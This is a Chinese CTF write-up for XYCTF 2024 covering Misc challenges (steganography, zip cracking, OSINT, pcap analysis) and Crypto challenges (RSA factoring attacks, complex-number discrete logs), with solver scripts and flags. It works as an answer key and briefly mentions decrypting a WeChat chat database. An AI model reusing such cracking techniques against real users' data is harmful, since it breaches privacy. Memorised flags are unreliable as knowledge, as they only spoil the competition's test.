XYCTF高校新生联合赛 2024 Writeup By Xp0int

1. Misc

1.1 game

谷歌识图就出了


1.2 熊博士

熊博士即熊斐特的埃特巴什码


1.3 彩蛋

在比赛须知页面 130131103124106173164150151163137141137

三个一组八进制转

在 footer11001101101001110111011001001011111110100111101001111101

6 个一组二进制转

保存全站唯一一张图片,poster,到网站里改个格式,改为 png,放到 zsteg 里面解析(LSB 也可以),发现 keyboard:

xn0jtxgoy.p{urp{lbi{abe{c{ydcbt{frb{jab{

丢随波逐流里面解一下

bl0ckbuster_for_png_and_i_think_yon_can

XYCTF{this_a_bl0ckbuster_for_png_and_i_think_yon_can_find_it}

真能藏


1.4 zzl 的护理小课堂

直接在控制台里把发送 flag 的函数扔进去就行


1.5 ez_隐写

伪加密的 zip,但是修改标志区后用 winrar 也打不开,用 7z 打开了

hint 图片打不开,另一个压缩包是真加密

怀疑图片宽高有问题,爆破一下 crc,得到真正的宽高是 5120x2880,修改后打开得到

估计是压缩包密码,20240401,得到另一张图,binwalk 没有东西。推测是水印。

用 blindwatermark 解码,这图片也太糊了看不清 flag

换了个工具 watermark,吾爱可以下载


1.6 zip 神之套

第一层

第二层压缩密码需要爆破,掩码应该长这样,apchr 爆破得到 xyctf20240401ftcyx

第二层

套.zip

flag.zip

除了一个 md 文件,其他一毛一样,所以用,明文碰撞解密


1.7 TCPL

十六进制下看到这个是个 RISCV64 架构的 elf 文件

在搭环境

打异构 pwn 打的


1.8 九转大肠

第一层压缩包密码是 XYCTF20240401

第一层:曰:玉魔命灵天观罗炁观神冥西道地真象茫华茫空吉清荡罗命色玉凶北莽人鬼乐量西北灵色净魂地魂莽玉凶阿人梵莽西量魄周界

天书加密,图片改高

第二层

得到:

LSB 隐写得到 0f_crypt0and

第三层

1 是点 2 是线 3 是空格

要小写。解 zip 得到 flag.txt 和一个 zip,flag.txt 找不到有价值的信息

zip 用 7z 打开提取显示数据错误,但是十六进制下看到可以的字符串

5a+G56CB57uZ5L2g5Y+I5oCO5qC377yaMTIzNDU2

解码结果如下

得到 MZWGCZZT566JU3LJONRV6MLTL5ZGKNTMNR4V6ZTVNYQSC===

misc_1s_re6lly_fun!!

第四层

U2FsdGVkX1+y2rlJZlJCMnvyDwHwzkgHvNsG2TF6sFlBlxBs0w4EmyXdDe6s7viL

长得像 aes

3des

The_fourth_floor_is_okay

压缩包里一个 txt 一个 db 文件,txt 解码得

key:1a813cbb17c040358d772e37fa137edbeddedb38bf704a56b2a9e22dc7f05f77

但是 MSG0.db 没法用 navicat 打开,db browser 也打不开,显示不是一个数据库,但是应该就是微信聊天记录数据库文件,大小 60M 刚好(好强的既视感)。十六进制打开发现文件头根本不是 db 文件的文件头,这点比较蹊跷

微信聊天数据库解密用的 wxdump,

用 navicat 打开就行

L1u_and_K1cky_Mu

第五层

enc = ‘key{liu*****’

md5 = ‘87145027d8664fca1413e6a24ae2fbe7’

应该是要 md5 爆破

爆破出来 key{liuyyds}

得到 serpent.txt 和 flag.txt,flag 里依然显示啥都没有,

密钥是 liuyyds,对文件解 serpent,然后 vim 看到零宽的 unicode 字符,零宽隐写

_3re_so_sm4rt!

第六层

hint 是键盘画图,用手机输入法应该可以操作,但是有些字符好怪(

keeponfighting 可以解得一个文件夹

steghide,密码 98641

In_just_a_few_m1nutes_

第七层

提示维吉尼亚,发现

然而密码并不是这个

+AF8-在 utf-7 中是下划线,所以把空格换成下划线就行了。

The_seventh_level_is_difficult

八进制

they_were_thr0ugh!

第八层

题目是一道 rsa,给了 n, e, c 和 p^q

考虑到 p, q 都是 1024 位,且已知异或结果,那么就可以进行爆破(p^q 对应位是 1,那可能 p=0,q=1 或 p=1,q=0,对应位 0,那可能 p=0,q=0 或 p=1,q=1)

那么就用剪枝算法爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import sys
from Crypto.Util.number import *
sys.setrecursionlimit(3939)        #不设置一下最大递归深度的话已经超出了(

n = 22424440693845876425615937206198156323192795003070970628372481545586519202571910046980039629473774728476050491743579624370862986329470409383215065075468386728605063051384392059021805296376762048386684738577913496611584935475550170449080780985441748228151762285167935803792462411864086270975057853459586240221348062704390114311522517740143545536818552136953678289681001385078524272694492488102171313792451138757064749512439313085491407348218882642272660890999334401392575446781843989380319126813905093532399127420355004498205266928383926087604741654126388033455359539622294050073378816939934733818043482668348065680837
c = 1400352566791488780854702404852039753325619504473339742914805493533574607301173055448281490457563376553281260278100479121782031070315232001332230779334468566201536035181472803067591454149095220119515161298278124497692743905005479573688449824603383089039072209462765482969641079166139699160100136497464058040846052349544891194379290091798130028083276644655547583102199460785652743545251337786190066747533476942276409135056971294148569617631848420232571946187374514662386697268226357583074917784091311138900598559834589862248068547368710833454912188762107418000225680256109921244000920682515199518256094121217521229357
e = 65537
pq_xor = 14488395911544314494659792279988617621083872597458677678553917360723653686158125387612368501147137292689124338045780574752580504090309537035378931155582239359121394194060934595413606438219407712650089234943575201545638736710994468670843068909623985863559465903999731253771522724352015712347585155359405585892

n_bits = 1024
xor = bin(pq_xor)[2:].zfill(n_bits)        #由于p,q的开头至少第一位肯定是1,所以实际上还得在前面补0
p_s = []

def pq_high_xor(p="", q=""):        #高位进行爆破
    lp, lq = len(p), len(q)
    tp0 = int(p + (1024 - lp) * "0", 2)
    tq0 = int(q + (1024 - lq) * "0", 2)
    tp1 = int(p + (1024 - lp) * "1", 2)
    tq1 = int(q + (1024 - lq) * "1", 2)

    if tp0 * tq0 > n or tp1 * tq1 < n:        #如果当前pq最小值相乘都比n大或者pq最大值相乘都比n小,那么肯定不符合,可以返回了
        return
    if lp == n_bits:        #当前递归深度下p的长度达到1024位的话表明得到一个可能的解
        p_s.append(tp0)
        return

    if xor[lp] == "1":        
        pq_high_xor(p + "0", q + "1")
        pq_high_xor(p + "1", q + "0")
    else:
        pq_high_xor(p + "0", q + "0")
        pq_high_xor(p + "1", q + "1")

pq_high_xor()

for p in p_s:        #常规RSA
    q = n // p
    phi = (p - 1) * (q - 1)
    d = inverse(e, phi)
    m = pow(c, d, n)
    print(long_to_bytes(m))

得到结果是 password{pruning_algorithm}

得到一个 txt

转成 01,画图,尺寸 548*72

原神须弥沙漠文

sm3rty0ucando

第九层

题目告诉我们$a_1p+b_1q=l_1\ a_2p+b_2q=l_2$,但是$a_1,a_2,b_1,b_2,p,q$均未知,只知道 $a_1,a_2<2^8,b_1,b_2<2^{256}$。

注意到$a_1a_2p+b_1a_2q=l_1a_2\a_1a_2p+a_1b_2q=a_1l_2$,得$(b_1a_2-a_1b_2)q=l_1a_2-a_1l_2$,

于是可以通过爆破 $a_1,a_2$的值,求 $q=gcd(l_1a_2-a_1l_2,n)$,最终检查 q.bit_length() ==512,解出 p,q

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import *
n = 107803636687595025440095910573280948384697923215825513033516157995095253288310988256293799364485832711216571624134612864784507225218094554935994320702026646158448403364145094359869184307003058983513345331145072159626461394056174457238947423145341933245269070758238088257304595154590196901297344034819899810707
c = 46049806990305232971805282370284531486321903483742293808967054648259532257631501152897799977808185874856877556594402112019213760718833619399554484154753952558768344177069029855164888168964855258336393700323750075374097545884636097653040887100646089615759824303775925046536172147174890161732423364823557122495
l = [618066045261118017236724048165995810304806699407382457834629201971935031874166645665428046346008581253113148818423751222038794950891638828062215121477677796219952174556774639587782398862778383552199558783726207179240239699423569318, 837886528803727830369459274997823880355524566513794765789322773791217165398250857696201246137309238047085760918029291423500746473773732826702098327609006678602561582473375349618889789179195207461163372699768855398243724052333950197]
e = 65537
for a1 in range(257):
    for a2 in range(257):
        l_ = abs(l[0] * a2 - l[1] * a1)
        q = GCD(l_, n)
        if q != 1 and q.bit_length() == 512:
            print('q =', q)
            print('p =', n // q)
            break
# 解得
q = 12951283811821084332224320465045864899191924765916891677355364529850728204537369439910942929239876470054661306841056350863576815710640615409980095344446711
p = 8323779962971618345273954895424806333469829912334300198060342319777227207496747203116360364049448374664074985646069999780324150495814809237871806097818437
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(c, d, n)))

解得 game_over

压缩包里两个文件

应该是 oursecret 隐写,但是尚未知道密码,可以确定的是是对压缩包进行隐写的而不是对图片

密码也是 game_over

找到_nine_turns?}

flag 汇总:XYCTF{T3e_c0mb1nation_0f_crypt0_and_misc_1s_re6lly_fun!!L1u_and_K1cky_Mu_3re_so_sm4rt!In_just_a_few_m1nutes_they_were_thr0ugh!Sm3rt_y0u_can_do_nine_turns?}

要整一坨拿去 md5,然后再套 flag 头

XYCTF{b1bdc6cf06a28b97c91c1c12f0d3bc00}

可惜三血被抢了


1.9 网络追踪

经过了一系列骚操作(其实就是用 wireshark 筛 TCP 流,很容易发现这个流量包是在用 nmap 在扫描靶机端口,查看有哪些端口完成了三次握手,代表端口开放)

找到了这玩意

1
2
3
4
5
6
hK3Z1J2NvNa3fNJxaP43bTEfbb7zafODbacFaP43bte0wtPmDvvmOK3Z1J2Nv
huNqqtdmuOL1Zb91ZbM-TPapVQCO7eyODXyK5iiSOVCaRhiOQiiKwUCOIjiSO
hVCSffyKDcmXbZ95Zd8TZW91Zg6zaXd9ZW7QUt9WhuNSottGcLyWzayWVXCWz
hbiOCdGZTu6urtMyKuNqqtdmuQqVZP4nYjPzbZ8XbacHaj6zah7vbacF1JYLb
hj7PZXvRx0iGyWyywaZVNEpF4Sn2iAGsl9X3TC1UsLnUsLnVTEpN39H6kA1Yh
3An2kAro+

经过漫长的信息检索后

XYCTF{192.168.204.133445_139_135CVE-2008-4250}

wireshark 中显示的 1065 端口也是开放的,但这是利用漏洞打开的端口,一开始只开放了 445,139,135 三个端口


1.10 base

LBMUGVCGPNRDEOJUHE3GKMDGGY2GMYQ=NzY3NzIzNjE0ZjA5MzBiZjgxY30

等号与之前为第一段

XYCTF{b29496e0f64fb

第二段如 base64

767723614f0930bf81c}


1.11 osint1

滨海新区,天津?根据 hint,不是天津

广东茂名滨海新区博贺湾大道

不对

百度识图

在一篇 blog 中找到导航图,那么位置就可以确定了

在高德地图找到相应位置

滨海东路。

那么就确定 flag 了。

江苏省南通市滨海东路黄海

xyctf{江苏省 南通市 滨海东路 黄海}

1.12 真签到

十六进制下就有 flag


1.13 OSINT2

河南省,G3293 次列车

龙门石窟?不对

高德搜周边 一个个试

最后结果是

老君山

xyctf{G3293 河南省 老君山}

1.14 base1024*2

XYCTF{84ca3a6e-3508-4e34-a5e0-7d0f03084181}

https://nerdmosis.com/tools/encode-and-decode-base2048


1.15 出题有点烦

压缩包密码 123456

第一张图:XYCTF{可惜是假的}

第二三四张图:没东西

第五张图隐写了个压缩包,解开,密码是 xyctf,十六进制看文件有 flag

XYCTF{981e5_f3ca30_c841487_830f84_fb433e}


1.16 ez_osint

网上搜文本的头可以搜到时光邮局,评论区想笑死谁?


1.17 我的二维码为什么扫不出来

二维码随机改了 7 次行或列,对行和列进行了颜色反转(黑变白,白变黑),根据二维码的结构可推测改的行和列

行:2,13

列:1,3,6,11,12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from PIL import Image
import random

def reverse_color(x):
    return 0 if x == 255 else 255

def reverse_row_colors(pixels, row, width, block_size=10):
    for x_block in range(width // block_size):
        x = x_block * block_size
        y = row * block_size
        for x_small in range(x, x + block_size):
            for y_small in range(y, y + block_size):
                pixel = pixels[x_small, y_small]
                pixels[x_small, y_small] = reverse_color(pixel)

def reverse_col_colors(pixels, col, height, block_size=10):
    for y_block in range(height // block_size):
        x = col * block_size
        y = y_block * block_size
        for x_small in range(x, x + block_size):
            for y_small in range(y, y + block_size):
                pixel = pixels[x_small, y_small]
                pixels[x_small, y_small] = reverse_color(pixel)

original_img = Image.open("new.png")

new_img = original_img.copy()

width, height = new_img.size
pixels = new_img.load()

reverse_col_colors(pixels, 5, height)#2,13行,1,3,6,11,12列
reverse_col_colors(pixels, 2, height)
reverse_col_colors(pixels, 0, height)
reverse_row_colors(pixels, 1, width)
reverse_row_colors(pixels, 12, width)
reverse_col_colors(pixels, 10, height)
reverse_col_colors(pixels, 11, height)

new_img.save("flag.png")

1.18 美妙的歌声

附件是一个音频,用 audition 打开查看,查看频谱

得到一串字符,接下来用 deepsound 打开此音频文件,发现要密码,应该就是刚才得到的字符串,输入后发现有 flag.txt,提取出来查看即可得到 flag


1.19 Rosk,Paper,Scissors!

附件给了 ai 出手势的代码,通过测试可以知道 ai 会根据玩家出的最多的一个手势来出相对应的一个手势,例如如果玩家出的最多的手势为 Paper,ai 就一定会出 Rock,所以此时我们要出 Scissors 才能 win,题目要 win100 次(要注意的这里的 win 是让 ai 赢),如果有两个手势出的次数一样且都为最多,ai 就会根据玩家最先出的那个手势来判断自己应该出什么手势,根据此规律,所以我们只需要使第一次 win 就可以了,因为我们能使后面一直 win,脚本如下,多试几次,只要第一次 win 就能得到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import * # type: ignore
# context.log_level = 'debug'

r = remote('127.0.0.1', 51838)

rsp = ['Rock', 'Paper', 'Scissors']
a=0
b=0
c=0
for i in range(100):
     if(a==0):
          r.recvuntil(b'> ')
          r.sendline(rsp[0])
          a+=1
     elif(a>=b and a>=c):
          r.recvuntil(b'> ')
          r.sendline(rsp[1])
          b+=1
     elif(b>=a and b>=c):
          r.recvuntil(b'> ')
          r.sendline(rsp[2])
          c+=1
     elif(c>=a and c>=b):
          r.recvuntil(b'> ')
          r.sendline(rsp[0])
          a+=1

r.interactive()

2. Crypto

2.1 happy_to_solve

XYCTF{3f22f4efe3bbbc71bbcc999a0a622a1a23303cdc}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
import gmpy2
n = 24852206647750545040640868093921252282805229864862413863025873203291042799096787789288461426555716785288286492530194901130042940279109598071958012303179823645151637759103558737126271435636657767272703908384802528366090871653024192321398785017073393201385586868836278447340624427705360349350604325533927890879
c = 14767985399473111932544176852718061186100743117407141435994374261886396781040934632110608219482140465671269958180849886097491653105939368395716596413352563005027867546585191103214650790884720729601171517615620202183534021987618146862260558624458833387692782722514796407503120297235224234298891794056695442287
e = 65537
t1 = 1 << 512
p = (2**512+gmpy2.iroot((2**512)**2-4*n, 2)[0])//2
p = int(p)
while n % p != 0:
    p = gmpy2.next_prime(p)
q = n//p
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

2.2 密码签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import *
def swap_bits(input_str):
    input_list = list(input_str[2:])
    length = len(input_list)

    for i in range(length // 2):
        temp = input_list[i]
        input_list[i] = input_list[length - 1 - i]
        input_list[length - 1 - i] = temp

    return ''.join(input_list)
    
c = 12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567891134567790013445788912235567900124556899022356679001344577890233557780112445788911335667991124556899122355788001344578890123566780112455678012235578800133467889013356679001344567991223557880012455788911234677990134456799023355788001245568991133467780012455788902335568900134456899012356678011245578801233467789112355779912234577990233556780113

c_str = str(c)
state = 0
lis = ''
for i in range(len(str(c)) - 1):

    if (int(c_str[i]) + 2) % 10 == int(c_str[i + 1]) % 10:
        state = 1
    if int(c_str[i]) % 10 == int(c_str[i + 1]) % 10:
        state = 0
    if (int(c_str[i]) + 1) % 10 == int(c_str[i + 1]) % 10:
        pass
    lis += str(state)

lis_1 = "0b" + lis + "1"

c1 = swap_bits(lis_1)

flag1 = int(c1, 2)

print(long_to_bytes(flag1))

观察密文数列,与二进制每一位数一一对应来看,不难发现规律:密文该位与后一位相等时,二进制对应位为 0,。相差二时对应位为 1,相差一时保持之前的对应值(0 或 1),由此写解密脚本即可。


2.3 factor1

$e$与$n^3$相近,维纳攻击求出$d$和$\phi(n)$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import hashlib
from Crypto.Util.number import *
import z3

e = 172005065945326769176157335849432320425605083524943730546805772515111751580759726759492349719668775270727323745284785341119685198468883978645793770975366048506237371435027612758232099414404389043740306443065413069994232238075194102578269859784981454218948784071599231415554297361219709787507633404217550013282713899284609273532223781487419770338416653260109238572639243087280632577902857385265070736208291583497988891353312351322545840742380550393294960815728021248513046077985900158814037534487146730483099151396746751774427787635287611736111679074330407715700153025952858666841328055071403960165321273972935204988906850585454805923440635864200149694398767776539993952528995717480620593326867245714074205285828967234591508039849777840636255379730281105670496110061909219669860172557450779495125345533232776767292561378244884362014224844319802810586344516400297830227894063759083198761120293919537342405893653545157892446163
n = 99075185389443078008327214328328747792385153883836599753096971412377366865826254033534293886034828804219037466246175526347014045811852531994537520303063113985486063022444972761276531422538694915030159420989401280012025249129111871649831185047820236417385693285461420040134313833571949090757635806658958193793

# 连分数攻击脚本求出来的,n取pq^3
d = 8447122254265361577759220083550460887840558233627984117576685838469227480934556534673167325385487344741530262745308367064419215281251764917289925433582347
k = 1494016303704162064457264904035459059241052443477469129020991127731711502975536480528822831565100775167693515363479900721259984367515846296462994230670260
#

phi = (e * d - 1) // k

x = z3.Int('x')
z3.solve(n**3-x**3+3*n*x+1 == phi)

# 这个是上面的结果
x = 19967005847503923034507166918794965506267503428119552203292911361615132318903414819134103287113608735292986181147786515878575262609755277623932397581187246

flag = "XYCTF{" + hashlib.md5(str(x).encode()).hexdigest() + "}"
print(flag)

2.4 babyRSAMAX

$n-1$可以分解成小素数,于是可以爆出$p,q$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from Crypto.Util.number import *
from gmpy2 import *
from random import choice

t = 65537

n = 39332423872740210783246069030855946244104982381157166843977599780233911183158560901377359925435092326653303964261550158658551518626014048783435245471536959844874036516931542444719549997971482644905523459407775392702211086149279473784796202020281909706723380472571862792003687423791576530085747716706475220532321
gift1 = 4549402444746338327349007235818187793950285105091726167573552412678416759694660166956782755631447271662108564084382098562999950228708300902201571583419116299932264478381197034402338481872937576172197202519770782458343606060544694608852844228400457232100904217062914047342663534138668490328400022651816597367310
gift2 = 111061215998959709920736448050860427855012026815376672067601244053580566359594802604251992986382187891022583247997994146019970445247509119719411310760491983876636264003942870756402328634092146799825005835867245563420135253048223898334460067523975023732153230791136870324302259127159852763634051238811969161011462
c = 16938927825234407267026017561045490265698491840814929432152839745035946118743714566623315033802681009017695526374397370343984360997903165842591414203197184946588470355728984912522040744691974819630118163976259246941579063687857994193309554129816268931672391946592680578681270693589911021465752454315629283033043
y = 1813650001270967709841306491297716908969425248888510985109381881270362755031385564927869313112540534780853966341044526856705589020295048473305762088786992446350060024881117741041260391405962817182674421715239197211274668450947666394594121764333794138308442124114744892164155894256326961605137479286082964520217

'''光滑数分解n
a = 2
k = 2
N = n
while True:
    a = powmod(a, k, N)
    res = gcd(a-1, N)
    if res != 1 and res != N:
        q = N // res
        print("p =",res)
        print("q =",q)
        break
    k += 1
'''
p = 236438400477521597922950445153796265199072404577183190953114805170522875904551780358338769440558816351105253794964040981919231484098097671084895302287425479
q = 166353789373057352195268575168397750362643822201253508941052835945420624983216456266478176579651490080696973849607356408696043718492499993062863415424578199

phi = (p - 1) * (q - 1)
dt = invert(t, phi)
x = pow(y, dt, n)
print(long_to_bytes(x)) #XYCTF{e==4096}

e = 4096

d = invert(e // 4, phi // 4)

flag = iroot(pow(c, d, n),4)
print(long_to_bytes(flag[0]).decode())
#XYCTF{Rabin_is_so_biggggg!}

2.5 fakeRSA

\[题目中function函数中对vector的操作可以视为用矩阵A乘该向量(线性映射) \\其中A=\begin{pmatrix}9&0&-36\\6&0&-27\\0&1&0\end{pmatrix} \\A^p=\begin{pmatrix}3&0&0\\0&3&0\\0&0&3\end{pmatrix} \\这些矩阵都是在Zmod(p)上的,p已知, \\则题目可以简化为 \\B=\begin{pmatrix} 9&0&-36\\6&0&-27\\0&1&0 \end{pmatrix}^n \begin{pmatrix}69\\48\\52\end{pmatrix} =A^n\begin{pmatrix}69\\48\\52\end{pmatrix}=\begin{pmatrix}a'\\b'\\c'\end{pmatrix} \\其中\begin{pmatrix}a'\\b'\\c'\end{pmatrix}已知 \\求n的值。\]

尝试把 A 在 Zmod(p)上对角化,失败了,没有特征值。

那就化为 Jordan 标准型吧。

\[A=PJP^{-1},其中P=\begin{pmatrix} 36&6&1 \\18&6&0\\6&0&0\end{pmatrix} \\A^n=PJ^nP^{-1} \\P^{-1}B=P^{-1}A^n\begin{pmatrix}69\\48\\52\end{pmatrix}=J^nP^{-1}\begin{pmatrix}69\\48\\52\end{pmatrix} =\begin{pmatrix} 3^n&n3^{n-1}&\frac{n(n-1)}{2}3^{n-2} \\0&3^n&n3^{n-1}\\0&0&3^n\end{pmatrix}P^{-1}\begin{pmatrix}69\\48\\52\end{pmatrix} \\设为\begin{pmatrix} 3^n&n3^{n-1}&\frac{n(n-1)}{2}3^{n-2} \\0&3^n&n3^{n-1}\\0&0&3^n\end{pmatrix} \begin{pmatrix}a\\b\\c\end{pmatrix} =\begin{pmatrix}?\\(3b+cn)3^{n-1}\\3c3^{n-1}\end{pmatrix} =\begin{pmatrix}a'\\b'\\c'\end{pmatrix} \\得到两个方程 \\(3b+cn)3^{n-1} = b' \mod p \\3c3^{n-1} = c' \mod p \\由同余式性质解得 \\n=(b'\frac{3c}{c'} - 3b)\frac{1}{c} \mod p\]

代码如下:

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *

p = 1849790472911267366045392456893126092698743308291512220657006129900961168811898822553602045875909
G = Zmod(p)
A = matrix(G, [[9,0,-36],[6,0,-27],[0,1,0]])
A_jor, P = A.jordan_form(transformation=True)

a = P**(-1) * vector(G,[69, 48, 52])
D = P**(-1) * vector(G,(1431995965813617415860695748430644570118959991271395110995534704629241309597572003500157255135707, 1011565891130611736600822618382801465506651972373410962205810570075870804325974377971089090196019, 784497518859893244278116222363814433595961164446277297084989532659832474887622082585456138030246))

print(long_to_bytes(int((D[1] / (D[2] / (3 * a[2])) - 3 * a[1]) / a[2])))

2.6 Complex_dlp

分解发现 p-1 光滑,于是自改了 pohlig-hellman 算法,改成对复数适用的 dlp 解法。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from Crypto.Util.number import *
import math

class Complex:
    def __init__(self, re, im):
        self.re = re
        self.im = im
    def __mul__(self, c):
        if type(c) == int:
            return Complex(c * self.re, c * self.im)
        re_ = self.re * c.re - self.im * c.im
        im_ = self.re * c.im + self.im * c.re
        return Complex(re_, im_)
    def __rmul__(self, c):
        return self * c
    def __mod__(self, c):
        return Complex(self.re % c, self.im % c)
    def __str__(self):
        if self.im == 0:
            return str(self.re)
        elif self.re == 0:
            if abs(self.im) == 1:
                return f"{'-' if self.im < 0 else ''}i"
            else:
                return f"{self.im}i"
        else:
            return f"{self.re} {'+' if self.im > 0 else '-'} {abs(self.im)}i"
    def __eq__(self, c):
        if self.re == c.re and self.im == c.im:
            return True
        return False

def factor(n):
    result = []
    while n > 1:
        m = n
        for i in sieve_base:
            if n % i == 0:
                result.append(i)
                n //= i
        if m == n:
            result.append(n)
            break
    result.sort()
    return result

def crt(remain, moduli):
    result = 0
    for i in range(len(moduli)):
        M = 1
        for j in range(len(moduli)):
            if i != j:
                M *= moduli[j]
        M *= pow(M % moduli[i], -1, moduli[i])
        result += remain[i] * M
    result %= math.prod(moduli)
    return result

def complex_pow(c, exp, n):
    result = Complex(1, 0)
    while exp > 0:
        if exp & 1:
            result = result * c
            result.re = result.re % n
            result.im = result.im % n
        c = c * c
        c.re = c.re % n
        c.im = c.im % n
        exp >>= 1
    return result

def complex_invert(c, n):
    z = Complex(c.re, -c.im) % n
    a = c * z % n
    result = Complex(pow(a.re, -1, n) * z.re, pow(a.re, -1, n) * z.im) % n
    return result

def babystep_giantstep(g, y, p, q=None):
    if q is None:
        q = p - 1
    m = int(q**0.5 + 0.5)
    table = {}
    gr = Complex(1, 0)
    for r in range(m):
        table[(gr.re, gr.im)] = r
        gr = (gr * g) % p
    try:
        gm = complex_pow(complex_invert(g, p), m, p)
    except:
        return None
    ygqm = y
    for q in range(m):
        if (ygqm.re, ygqm.im) in table:
            return q * m + table[(ygqm.re, ygqm.im)]
        ygqm = (ygqm * gm) % p
    return None

def pohlig_hellman_DLP(g, y, p):
    crt_moduli = []
    crt_remain = []
    for q in factor(p - 1):
        x = babystep_giantstep(complex_pow(g,(p**2-1)//q,p), complex_pow(y,(p**2-1)//q,p), p, q)
        if (x is None) or (x <= 1):
            continue
        crt_moduli.append(q)
        crt_remain.append(x)
    x = crt(crt_remain, crt_moduli)
    return x

g = Complex(3, 7)
y = Complex(5699996596230726507553778181714315375600519769517892864468100565238657988087817,198037503897625840198829901785272602849546728822078622977599179234202360717671908)
p = 1127236854942215744482170859284245684922507818478439319428888584898927520579579027
x = pohlig_hellman_DLP(g, y, p)
print(x)
print(pow(g, x, p) == y)

print(b'XYCTF{' + long_to_bytes(x) + b'}')

2.7 Complex_rsa

$(p+qi)^2$已知,求解 p,q,儿简送

1
2
3
4
5
6
7
8
9
10
11
12
13
# exp1.py
a = -28814875173103880290298835537218644402443395484370652510062722255203946330565951328874411874019897676900075613671629765922970689802650462822117767927082712245512492082864958877932682404829188622269636302484189627580600076246836248427780151681898051243380477561480415972565859837597822263289141887833338111120
n = 235362412848885579543400940934854106052672292040465052424316433330114813432317923674803623227280862945857543620663672974955235166884830751834386990766053503640556408758413592161122945636548462064584183165189050320898315823173824074873376450569212651128285746330837777597290934043912373820690250920839961482862 // 2

from z3 import *
import gmpy2 as gp

p2 = Int('p^2')
solve(p2**4-a*p2-n**2==0,p>0)

p = gp.isqrt(p2)
#p = 10205509456040823453782883291824829705816298450992336115902525676510986341532486274067943978039013674207011185602314114359146043975207543018267242312660911
q = n // p

rsa 部分,e=9,和 $(p^2-1)$、 $(q^2-1)$都不互质,但是 e 比较小,考虑 AMM 算法直接开根

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# exp2.py
from Crypto.Util.number import *
import math

class Complex:
    def __init__(self, re, im):
        self.re = re
        self.im = im
    def __mul__(self, c):
        if type(c) == int:
            return Complex(c * self.re, c * self.im)
        re_ = self.re * c.re - self.im * c.im
        im_ = self.re * c.im + self.im * c.re
        return Complex(re_, im_)
    def __rmul__(self, c):
        return self * c
    def __mod__(self, c):
        return Complex(self.re % c, self.im % c)
    def __str__(self):
        if self.im == 0:
            return str(self.re)
        elif self.re == 0:
            if abs(self.im) == 1:
                return f"{'-' if self.im < 0 else ''}i"
            else:
                return f"{self.im}i"
        else:
            return f"{self.re} {'+' if self.im > 0 else '-'} {abs(self.im)}i"
    def __eq__(self, c):
        if self.re == c.re and self.im == c.im:
            return True
        return False

def complex_pow(c, exp, n):
    result = Complex(1, 0)
    while exp > 0:
        if exp & 1:
            result = result * c
            result.re = result.re % n
            result.im = result.im % n
        c = c * c
        c.re = c.re % n
        c.im = c.im % n
        exp >>= 1
    return result

def complex_root(c, rt, p): # 不成熟的AMM开根算法,至少这题够用了
    if not isPrime(p):
        return None
    s = p**2 - 1
    t = 0
    while s % rt == 0:
        s //= rt
        t += 1
    if t == 1:
        d = s - 1 if mode == 'p' else s + 1
        print("gcd:", GCD(d, rt))
        if GCD(d, rt) == rt:
            return complex_pow(c, d // rt, p)
        else:
            pass
    else:
        print('t!=1')

def complex_invert(c, n):
    z = Complex(c.re, -c.im) % n
    a = c * z % n
    result = Complex(pow(a.re, -1, n) * z.re, pow(a.re, -1, n) * z.im) % n
    return result

mode = 'p'
if mode == 'p':
    c = Complex(10125263610599917669149144743727960188466901485773748644286476597579090868621836313059888502471225526153972312316703988282771830904011916582444860683610432,9451076100911562951361151967676933406078341032849020291049050212697035635499243199374241464676344416505176977191307069049398888880856794218238967694409631)
    p = 10205509456040823453782883291824829705816298450992336115902525676510986341532486274067943978039013674207011185602314114359146043975207543018267242312660911
    a = complex_invert(complex_root(c, 3, p), p)
else:
    c = Complex(6786340638968721070201952916293192110636197485843625002119876196653281435678822887563819899110852695689136004344907774187627458237604665088852131536590978,4523698950696884036313363567679784117546312872401023984737883621485654402226083803627927046766601692669077633983773829758683200923557413725627909818010799)
    p = 11531144714660489617244423924607904114688972598683439999377362467380544567879231460623526800789918614728790840508257630983753525432337178000220918002499321
    a = complex_root(c, 3, p)
print(f'Complex({a.re},{a.im})')
print(complex_pow(a, 3, p) == c)

import random
l = []
for i in range(2000): # 2000是确保遍历到所有根
    n = complex_pow(Complex(random.randint(1,p-1),random.randint(1,p-1)),(p**2-1)//3,p)
    a2 = a * n % p
    if not f'Complex({a2.re},{a2.im}),' in l:
        l.append(f'Complex({a2.re},{a2.im}),')
